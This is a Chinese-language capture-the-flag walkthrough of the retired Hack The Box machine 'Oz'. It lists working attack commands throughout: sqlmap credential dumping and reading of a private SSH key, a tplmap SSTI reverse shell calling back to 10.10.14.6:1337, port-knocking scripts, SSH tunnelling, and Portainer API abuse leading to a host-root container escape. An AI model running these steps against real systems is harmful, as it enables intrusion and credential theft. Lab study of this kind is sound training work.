本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.96
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.96 -o ./Oz-autorecon
就开放了两个端口,先访问80端口看看
再访问8080端口看看
从80端口开始爆破下目录,这里是wfuzz进行爆破,爆破之前还是绑定个hosts ,10.10.10.96 oz.htb
wfuzz -u http://oz.htb/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0
试了试目录users,丢单引号和其他测试字符可确认存在sql注入
存在sql注入就好办了,丢到sqlmap里面跑以下,经过测试最终抛出来了目标靶机存在的用户名和加密的密码
sqlmap -u http://10.10.10.96/users/ -D ozdb -T users_gbw -C id,username,password --dump --batch
提权上面的hash使用john进行爆破得出了账户和密码
最终账户和密码为:wizard.oz:wizardofoz22
使用上面得到的密码登录刚开始扫描出来的8080端口对应的web应用业务
登录进去之后根据描述的内容,发现用户dorthi的家目录下存在私钥
知道有私钥之后可以利用刚开始上面sql注入进行读取文件试试看看
sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa
密钥读取成功了,不过看这形式像是给密钥加了密码,而且知道目标靶机并没有开放22端口,所以此处先放着,我们继续看看那个8080端口的应用,经过测试此应用发现有个添加票据的功能,便添加一个然后使用burpsuite抓包
这里经过大量测试,得出结论是存在SSTI注入,关于此知识点可以网上搜索,或者参考:https://xz.aliyun.com/t/3679 ,SSTI模板注入的利用方式方式参考:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
利用工具参考:https://github.com/epinna/tplmap 下面是测试过程:
使用tplmap进行注入反弹shell
成功注入反弹shell python tplmap.py -u'http://10.10.10.96:8080' -X POST -d 'name=*&desc=anything' -c 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzkzOTE0M30.dQ7hGgZso4zMJdYlSHhgUr3j8tC1PPT5ErvOTCH_Uvg' --reverse-shell 10.10.14.6 1337 也可以像下面的形式一样进行SSTI注入反弹shell python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzk0MTQ5OH0.S6ZoQi-Z259wGk_ceiv0mpRbfR2403MmB8iI55gZsfU" -u http://10.10.10.96:8080 -e Jinja2 -d "name=bmfx&desc=bmfx" --reverse-shell 10.10.14.6 1337
通过翻看目标靶机系统的目录和文件,确认发现两个隐藏文件,在隐藏其中一个隐藏文件/.secret下发现
看了上面文件内容就知道了目标有knocked,所以需要进行敲击即可开放22端口,那么就可以连接上面得到的密钥进行登录了,这里测试了下发现登录ssh的密钥需要密码,暂停下,再看看目标靶机文件,最后找到了数据库文件的硬编码内容
又得到一个密码了,再试试ssh登录的密钥
两种方式敲击端口然后登录ssh 第一种 #!/bin/bash for x in 40809 50212 46969; do nmap -sU -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.96; done ssh dorthi@oz.htb -i id_oz_rsa 第二种 #!/bin/bash ports="40809 50212 46969" for port in $ports; do echo "[*] Knocking on ${port}" echo "a" | nc -u -w 1 10.10.10.96 ${port} sleep 0.1 done; echo "[*] Knocking done." echo "[*] Password:" echo "N0Pl4c3L1keH0me" ssh -i /home/kali/Downloads/htb/oz/id_oz_rsa dorthi@10.10.10.96
成功登录,并顺手执行了下sudo -l权限
这里涉及到docker环境, 根据上面的sudo -l结果,可以预测跟网络相关,需要进行桥接,且使用 arp -na和ip addr发现自身IP地址和周围的网络,便执行如下命令
sudo docker network inspect prodnet
sudo docker network inspect bridge
此时便识别了新的IP地址172.17.0.2 使用当前拿到shell的进行中nmap进行了扫描,发现开放了9000端口,识别出来是portainer-1.11.1,但是只能本地访问,这样就不方便,需要通过ssh远程端口转发到外面来然后本地回环口访问,这里有两种方法
第一种: ssh -R 9000:172.17.0.2:9000 root@10.10.14.6 第二种: 下面执行3个步骤 1.敲击enter 2.键盘上输入右边两个字符:~C 3.上述输入完成之后就会变成ssh>这类的交互模式,然后输入如下: At the ssh> -L 9000:172.17.0.2:9000
成功之后本地即可访问
到了这一步,需要知道,此portainer1.11.1版本有api接口,可以直接添加用户密码,具体可参考:https://github.com/portainer/portainer/issues/493
可以使用此工具来完成:https://httpie.io/
我这里直接修改用户名密码为df
成功登录到portainer
通过portainer添加一个容器然后给其最高权限把root根目录挂载过来即可
写好名称NiceContainer 镜像:webapi:latest
按照上述操作完成创建即可,创建完成之后就可以进行console